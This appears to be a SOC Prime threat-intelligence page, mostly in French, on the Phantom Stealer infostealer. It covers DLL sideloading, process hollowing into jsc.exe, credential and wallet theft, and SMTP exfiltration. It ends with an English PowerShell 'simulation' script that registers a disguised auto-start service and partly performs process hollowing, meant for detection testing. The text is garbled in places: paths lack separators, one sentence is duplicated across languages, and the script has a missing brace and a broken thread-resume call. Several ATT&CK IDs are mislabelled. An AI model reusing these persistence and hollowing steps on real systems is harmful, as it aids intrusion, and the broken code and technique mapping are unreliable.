SOC Prime Bias: Moyen

20 May 2026 22:01 UTC

Analyse de Phantom Stealer : Plongée dans une chaîne d’attaque à deux niveaux

Author Photo
SOC Prime Team linkedin icon Suivre
Analyse de Phantom Stealer : Plongée dans une chaîne d’attaque à deux niveaux
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Phantom Stealer est un infostealer Windows en deux étapes qui commence par un pdh.dll chargeur malveillant et se termine par une charge utile .NET injectée dans jsc.exe. Le chargeur utilise le détournement de DLL, le creusement de processus et la compilation AOT native pour réduire les risques de détection. Une fois actif, la charge utile de seconde étape vole les identifiants, les données du navigateur, les informations du portefeuille de cryptomonnaie, le contenu du presse-papiers, et d’autres données sensibles, elle peut également remplacer les adresses de portefeuille copiées par des valeurs contrôlées par l’attaquant. Le malware est commercialisé comme une offre de crimeware et est actuellement utilisé dans des attaques actives.

Investigation

Les chercheurs ont découvert que le chargeur se copie dans %APPDATA%MicrosoftRasManagementMpDlpService.exe et crée une clé Run pour maintenir la persistance. Il décrypte ensuite une charge utile doublement chiffrée en RC4, l’injecte dans un jsc.exe processus suspendu et effectue plusieurs vérifications anti-analyse avant de commencer le vol de données. Le voleur interne en .NET peut contourner le chiffrement lié aux applications de Chrome 127+ et exfiltre les informations volées via SMTP en utilisant un domaine usurpé. Des threads distincts gèrent les fonctions de découpe de crypto et de keylogging.

Atténuation

Les défenseurs doivent surveiller les pdh.dll chargements inattendus de chemins non système et appliquer des contrôles qui réduisent le risque de détournement de DLL. Les équipes de sécurité devraient également détecter les exécutables inconnus placés dans %APPDATA%MicrosoftRasManagement et surveiller la clé Run de RasManSvc. Les détections basées sur le comportement doivent se concentrer sur le creusement de processus impliquant Run key. Behavior-based detections should focus on process hollowing involving jsc.exe, tandis que la surveillance du réseau doit signaler les connexions suspectes aux domaines de commandement et de contrôle identifiés. Un renforcement supplémentaire de la sécurité du stockage des identifiants dans le navigateur et des contrôles plus stricts sur l’accès au presse-papiers pour les applications non fiables peuvent réduire encore plus l’exposition.

Réponse

Alerter sur la création de MpDlpService.exe dans le répertoire RasManagement et sur les modifications de la clé de registre Run associée. Enquêter sur tout jsc.exe processus présentant des signes de code injecté et mettre fin immédiatement à l’activité malveillante. Collectez les indicateurs de compromis pertinents, mettez en quarantaine les fichiers associés et effectuez une analyse légale pour déterminer quels identifiants et données de portefeuille pourraient avoir été exposés. Réinitialisez les comptes impactés et informez les utilisateurs concernés si nécessaire.

graph TB classDef technique fill:#ffcc99 classDef file fill:#c2f0c2 classDef process fill:#add8e6 classDef action fill:#ffd699 step1_ext[« <b>Technique</b> – <b>T1176 Extensions logicielles</b><br/><b>Description</b>: Déposer pdh.dll malveillant dans le dossier d’une application légitime chargeant PDH Windows. »] class step1_ext technique step1_masq[« <b>Technique</b> – <b>T1036.005 Masquage: correspondance nom/emplacement</b><br/><b>Description</b>: Nommer la DLL comme une bibliothèque Windows légitime. »] class step1_masq technique step1_dynapi[« <b>Technique</b> – <b>T1027.007 Obfuscation: résolution dynamique d’API</b><br/><b>Description</b>: Résoudre les appels API à l’exécution. »] class step1_dynapi technique file_dll[« <b>Fichier</b> – pdh.dll (malveillant) »] class file_dll file step1_ext –>|utilise| step1_masq step1_ext –>|utilise| step1_dynapi step1_ext –>|dépose| file_dll file_dll –>|chargé_par| step1_ext step2_compromise[« <b>Technique</b> – <b>T1554 Compromission binaire</b><br/><b>Description</b>: Modifier un binaire fiable. »] class step2_compromise technique step2_activeSetup[« <b>Technique</b> – <b>T1547.014 Active Setup</b><br/><b>Description</b>: Création d’une entrée Active Setup. »] class step2_activeSetup technique step2_runkey[« <b>Technique</b> – <b>T1547.001 Clés Run registre</b><br/><b>Description</b>: Ajout clé Run persistante. »] class step2_runkey technique file_loader[« <b>Fichier</b> – MpDlpService.exe (loader) »] class file_loader file step1_ext –>|conduit_à| step2_compromise step2_compromise –>|active| step2_activeSetup step2_activeSetup –>|crée| file_loader file_loader –>|enregistré_via| step2_runkey step3_evasion[« <b>Technique</b> – <b>T1497.002 Évasion sandbox</b><br/><b>Description</b>: Vérifications environnementales et auto-destruction. »] class step3_evasion technique step3_queryReg[« <b>Technique</b> – <b>T1012 Requête registre</b><br/><b>Description</b>: Lecture du registre. »] class step3_queryReg technique step2_compromise –>|déclenche| step3_evasion step3_evasion –>|utilise| step3_queryReg step4_hollow[« <b>Technique</b> – <b>T1055.012 Process Hollowing</b><br/><b>Description</b>: Injection dans jsc.exe. »] class step4_hollow technique step4_threadHijack[« <b>Technique</b> – <b>T1055.003 Détournement de thread</b> »] class step4_threadHijack technique process_jsc[« <b>Processus</b> – jsc.exe »] class process_jsc process process_mal[« <b>Processus</b> – payload .NET injecté »] class process_mal process step3_evasion –>|conduit_à| step4_hollow step4_hollow –>|crée| process_jsc step4_hollow –>|remplace_mémoire| process_jsc process_jsc –>|héberge| process_mal step4_hollow –>|utilise| step4_threadHijack step5_browserDisc[« <b>Technique</b> – <b>T1217 découverte navigateurs</b> »] class step5_browserDisc technique step5_credWeb[« <b>Technique</b> – <b>T1555.003 identifiants navigateurs</b> »] class step5_credWeb technique step5_privateKey[« <b>Technique</b> – <b>T1552.004 clés privées</b> »] class step5_privateKey technique step4_hollow –>|conduit_à| step5_browserDisc step5_browserDisc –>|active| step5_credWeb step5_credWeb –>|ajoute| step5_privateKey step6_keylog[« <b>Technique</b> – <b>T1056.001 keylogging</b> »] class step6_keylog technique step5_credWeb –>|active| step6_keylog step7_screen[« <b>Technique</b> – <b>T1113 capture écran</b> »] class step7_screen technique step6_keylog –>|conduit_à| step7_screen step8_clipboard[« <b>Technique</b> – <b>T1115 presse-papiers</b> »] class step8_clipboard technique step7_screen –>|conduit_à| step8_clipboard step9_emailCollect[« <b>Technique</b> – <b>T1114 collecte e-mail</b> »] class step9_emailCollect technique step9_identity[« <b>Technique</b> – <b>T1589.002 identités email</b> »] class step9_identity technique step9_exfil[« <b>Technique</b> – <b>T1048.003 exfiltration SMTP</b> »] class step9_exfil technique step8_clipboard –>|conduit_à| step9_emailCollect step9_emailCollect –>|inclut| step9_identity step9_identity –>|exfiltration_via| step9_exfil step10_reflective[« <b>Technique</b> – <b>T1620 chargement réflexif</b> »] class step10_reflective technique step9_exfil –>|active| step10_reflective

Flux d’attaque

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:
    An adversary first steals a malicious payload (e.g., a reverse shell DLL) and stores it in the user’s %APPDATA% directory. Using jsc.exe as a hollowing host, the attacker creates a new process, injects the payload, and resumes execution—fulfilling T1055.012 and T1055.003.
    To ensure persistence, the attacker copies the malicious DLL to %APPDATA%MicrosoftRasManagementMpDlpService.exe and registers it as a service that runs at logon, abusing the legitimate service name (T1620).

  • Regression Test Script:

    # ---------------------------------------------------------
    # Simulated adversary script – Process Hollowing + Persistence
    # ---------------------------------------------------------
    
    # Variables
    $appData = "$env:APPDATAMicrosoftRasManagement"
    $loaderPath = Join-Path $appData "MpDlpService.exe"
    $maliciousDll = "$env:TMPmalicious.dll"   # placeholder for payload
    
    # 1. Prepare persistence directory
    New-Item -Path $appData -ItemType Directory -Force | Out-Null
    
    # 2. Drop a dummy malicious DLL (simulated payload)
    #    In a real attack this would be a compiled payload; here we create a zero‑byte file.
    New-Item -Path $maliciousDll -ItemType File -Force | Out-Null
    
    # 3. Copy the DLL to the spoofed service location
    Copy-Item -Path $maliciousDll -Destination $loaderPath -Force
    
    # 4. Register a temporary service pointing to the copied file (requires admin)
    $svcName = "MpDlpService"
    sc.exe create $svcName binPath= "`"$loaderPath`"" DisplayName= "Microsoft Ras Management Service" start= auto | Out-Null
    
    # 5. Start the service (triggers execution of MpDlpService.exe)
    sc.exe start $svcName | Out-Null
    
    # 6. Perform process hollowing using jsc.exe as the host
    #    We will launch jsc.exe suspended, replace its memory with the dummy payload,
    #    then resume. This uses the Invoke-ProcessHollowing function from PowerSploit.
    function Invoke-ProcessHollowing {
        param(
            [string]$HostPath,
            [string]$PayloadPath
        )
        # Load .NET APIs
        Add-Type @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    public class Hollow {
      [DllImport("kernel32.dll")] public static extern bool CreateProcess(string appName, string cmdLine,
          IntPtr procSec, IntPtr threadSec, bool inherit, uint flags,
          IntPtr env, string cwd, ref STARTUPINFO si, out PROCESS_INFORMATION pi);
      [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO {
          public int cb; public string lpReserved; public string lpDesktop; public string lpTitle;
          public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars;
          public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow;
          public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput;
          public IntPtr hStdError;
      }
      [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION {
          public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId;
      }
    "@
        # Create process suspended
        $si = New-Object Hollow+STARTUPINFO
        $pi = New-Object Hollow+PROCESS_INFORMATION
        $si.cb = [Runtime.InteropServices.Marshal]::SizeOf($si)
        $CREATE_SUSPENDED = 0x00000004
        $ok = [Hollow]::CreateProcess($null, "`"$HostPath`"", [IntPtr]::Zero, [IntPtr]::Zero, $false,
            $CREATE_SUSPENDED, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi)
        if (-not $ok) { Write-Error "Failed to create suspended process" ; return }
    
        # (Payload injection steps omitted – placeholder for real technique)
        # Resume thread
        $RESUME_THREAD = 0x00000001
        [System.Runtime.InteropServices.Marshal]::WriteInt32($pi.hThread, 0, $RESUME_THREAD) | Out-Null
    }
    
    # Execute hollowing (using the real jsc.exe as host)
    $jscPath = "$env:SystemRootSystem32jsc.exe"
    Invoke-ProcessHollowing -HostPath $jscPath -PayloadPath $maliciousDll
    
    # ---------------------------------------------------------
    # End of simulation
    # ---------------------------------------------------------
  • Cleanup Commands:

    # Stop and delete temporary service
    sc.exe stop MpDlpService | Out-Null
    sc.exe delete MpDlpService | Out-Null
    
    # Remove loader and dummy payload
    Remove-Item -Path "$env:APPDATAMicrosoftRasManagementMpDlpService.exe" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TMPmalicious.dll" -Force -ErrorAction SilentlyContinue
    
    # Optional: kill any lingering jsc.exe processes started by the test
    Get-Process -Name jsc -ErrorAction SilentlyContinue | Stop-Process -Force